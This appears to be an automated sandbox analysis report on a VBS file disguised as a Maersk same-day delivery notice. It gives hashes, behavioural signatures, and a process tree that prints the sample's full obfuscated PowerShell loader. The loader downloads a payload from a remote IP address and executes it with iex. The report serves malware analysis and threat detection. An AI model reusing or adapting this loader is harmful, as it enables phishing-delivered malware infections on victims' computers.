Analysis
-
max time kernel
142s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
26-06-2024 14:04
Static task
static1
Behavioral task
behavioral1
Sample
Maersk_Pre_awb_samedaydelivery_63648938475939020000.vbs
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
Maersk_Pre_awb_samedaydelivery_63648938475939020000.vbs
Resource
win10v2004-20240508-en
General
-
Target
Maersk_Pre_awb_samedaydelivery_63648938475939020000.vbs
-
Size
186KB
-
MD5
24cf2fb7a16835406fbb8110f7728d06
-
SHA1
c86b83506bcd6e6a5e72dd59b80f6d73fe7acd1c
-
SHA256
c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0
-
SHA512
85c37a37fd4e63f9add57055f65f887c5f21f37ff66caae518508b2e0e815a9daa14db8dbbf6dfa8162cb127d2d7f834d61c17dd707da8caf396cf46075ed936
-
SSDEEP
3072:5mN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZw:508GxbKja3+DCbKCvBB/WnHXC/sLJFJD
Malware Config
Signatures
-
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 6 2652 powershell.exe 7 2652 powershell.exe 8 2652 powershell.exe 9 2652 powershell.exe 10 2652 powershell.exe 11 2652 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2652 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2652 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1920 wrote to memory of 2652 1920 WScript.exe powershell.exe PID 1920 wrote to memory of 2652 1920 WScript.exe powershell.exe PID 1920 wrote to memory of 2652 1920 WScript.exe powershell.exe PID 2652 wrote to memory of 2488 2652 powershell.exe cmd.exe PID 2652 wrote to memory of 2488 2652 powershell.exe cmd.exe PID 2652 wrote to memory of 2488 2652 powershell.exe cmd.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Maersk_Pre_awb_samedaydelivery_63648938475939020000.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales';$anticamera = 1;Function Nihilisten($Sermonettino){$Dansesteder=$Sermonettino.Length-$anticamera;$Sporeplantes='SUBSTRIN';$Sporeplantes+='G';For( $Renoveringerne=1;$Renoveringerne -lt $Dansesteder;$Renoveringerne+=2){$Andetsprog+=$Sermonettino.$Sporeplantes.Invoke( $Renoveringerne, $anticamera);}$Andetsprog;}function Rectangular($Buoyant){ . ($Enschedule22) ($Buoyant);}$Dory=Nihilisten 'CM o z,iKl l.a,/C5 . 0 M( W i,nSdVo.wAs. TN T. 1 0 . 0 ; AW.i n 6R4 ;A Gx 6t4z;A Lr.v :.1G2.1.. 0 )o AGVeScNk o./ 2L0S1.0 0 1M0,1U ,FNiArTe.f oSx /,1.2,1 .F0F ';$Strejfet=Nihilisten 'AU,s eSr - A.g e.njtT ';$Friktion=Nihilisten 'ShGtPtFpF: /R/M1E0O3A.T1 9 5B.V2 3 7A.S4M3 /NApdSnEaPt,i,oBnS.VqSxgdC ';$Salvadoriansk=Nihilisten '.>B ';$Enschedule22=Nihilisten ',iCeGx. ';$Cartogram='Faldskrmssoldaters';$Inocarpin = Nihilisten '.e c,hUo, %,aCp.pLd a.t.a.%,\TS,aMl,tPuBrLt e,rOn e s .dGAe vU U&U& .e c.h oF HtU ';Rectangular (Nihilisten ' $ gRl.oSb a l :GSSaEm v iBtHtCi gJhVePdrsGlDs eFs.t 1 9S5T=S(Sc mFd ./Oc, L$ IEnAoscFa r pMi,n,) ');Rectangular (Nihilisten 'A$DgslAo b aAl : BMu n g,lZeI2R1.5T=D$ F.r iUk tAi.o.n . s pBl i t ( $ SAaPl,v,aSd o r iAa nKs kG) ');Rectangular (Nihilisten 'E[MNRe tK.,SMeRr v i c,eAP oIi n tCMBa.nRaGg e ru]O:T:CS,eVc.u.rMi tUy P r o,t.oBcDo l =I T[SNSeSt .SSTe ctu,rSi,t y.PAr,oStBoFc o,l TIy p eA]p:T:ETNlrsE1 2S ');$Friktion=$Bungle215[0];$ryaens= (Nihilisten 'T$ g lNoTbSa l :KS kLrSi vHe lSaSb e,lI= N epw -BO b j,eTcStM .S yOsEtseSm .RNSe.t.. W,e bNCfl iBeBn,t');$ryaens+=$Samvittighedslsest195[1];Rectangular ($ryaens);Rectangular (Nihilisten 'r$,S,k.r iSvOe.lUaBb.eUlL..HPeAaEd,e,rPs,[ $ S t,rPe.j.f eEtN] = $,DmoArKyV ');$Revellings251=Nihilisten ' $.STkBrSi v eNlTaUbSeTlM.LD oWw nOlUoAa,dDF iAlGeV(,$BFPr i,k t iFoPn ,K$CRFaSmLmUe,r,)P ';$Rammer=$Samvittighedslsest195[0];Rectangular (Nihilisten 'B$FgBl.oVbbaPlw:OA f,sDkQe dys f ebsFtPeCn sR=,( TdeSsPtV-,PUaPtWhF ,$,R aKm.m.e.rS)S ');while (!$Afskedsfestens) {Rectangular (Nihilisten ' $dgDl oHb aSlA: H vBiDl e nBeR=,$,t,rSuTeO ') ;Rectangular $Revellings251;Rectangular (Nihilisten 'SSKtFaVrKt.-HSRlAeAe.pR .4 ');Rectangular (Nihilisten 'R$Fg l oJb,aHlF:aA f sSkSeAdAs,fseLsOtEe,n sT= (ST.e s t - PFaPtRhN $YRUaNmpm e,rL) ') ;Rectangular (Nihilisten 'A$LgIl o bBaUlt:,TUe n oBuDr,sU6P2V=B$ g l oHbBa lL: MWa d,eNi r aCn.+.+ % $,B.u,n g,l e 2 1V5 .Hc o,u n,t. ') ;$Friktion=$Bungle215[$Tenours62];}$centrifugeringen=327851;$Laeotropic=24997;Rectangular (Nihilisten 'E$.g l,o b a,lC:.nBe cDr o pbh aDg y. .=M AG e,t -IC oSnSt eunVt .$FRCa m m eOrS ');Rectangular (Nihilisten ' $Pg,lSo,b aMl : ETx o c cAiKp i tVa,l =P [,S,y,sGtaeEmC. CFoDn vFeWr.t ] : :CF,rVo,mRBOa s,eR6,4TSFt ruiLnRgH(a$,n.e.cHr o pCh aSgPyV)M ');Rectangular (Nihilisten 'K$,gOlUo b aMl,:UR g eTrTr.imgAhIe d eFr n els. = [ S yFs,tPeFmG. TEeuxOtV.KE,n,cAopdri nDgU]P:,:FA SBC IEIF.RGOe.t SStHr iPnRgF(M$ ETx oGcscNi pUi tkaPl )B ');Rectangular (Nihilisten ' $ gSlTo b a lD:.JPurdJgPeSs,h,iSpR=A$ RLgFeZrMrSi gAhOeMdDeGr nFe,sB.BsFuibPs tmrBiAnTgL(S$ c eKnAt r.i f,uSgte r iMn.g e,nC,.$,LBaAe o tMr o pBiAc,), ');Rectangular $Judgeship;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Salturternes.Gev && echo t"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2652-11-0x000007FEF536E000-0x000007FEF536F000-memory.dmpFilesize
4KB
-
memory/2652-12-0x000000001B590000-0x000000001B872000-memory.dmpFilesize
2.9MB
-
memory/2652-14-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmpFilesize
9.6MB
-
memory/2652-13-0x0000000001E00000-0x0000000001E08000-memory.dmpFilesize
32KB
-
memory/2652-15-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmpFilesize
9.6MB
-
memory/2652-16-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmpFilesize
9.6MB
-
memory/2652-17-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmpFilesize
9.6MB
-
memory/2652-18-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmpFilesize
9.6MB
-
memory/2652-19-0x000007FEF536E000-0x000007FEF536F000-memory.dmpFilesize
4KB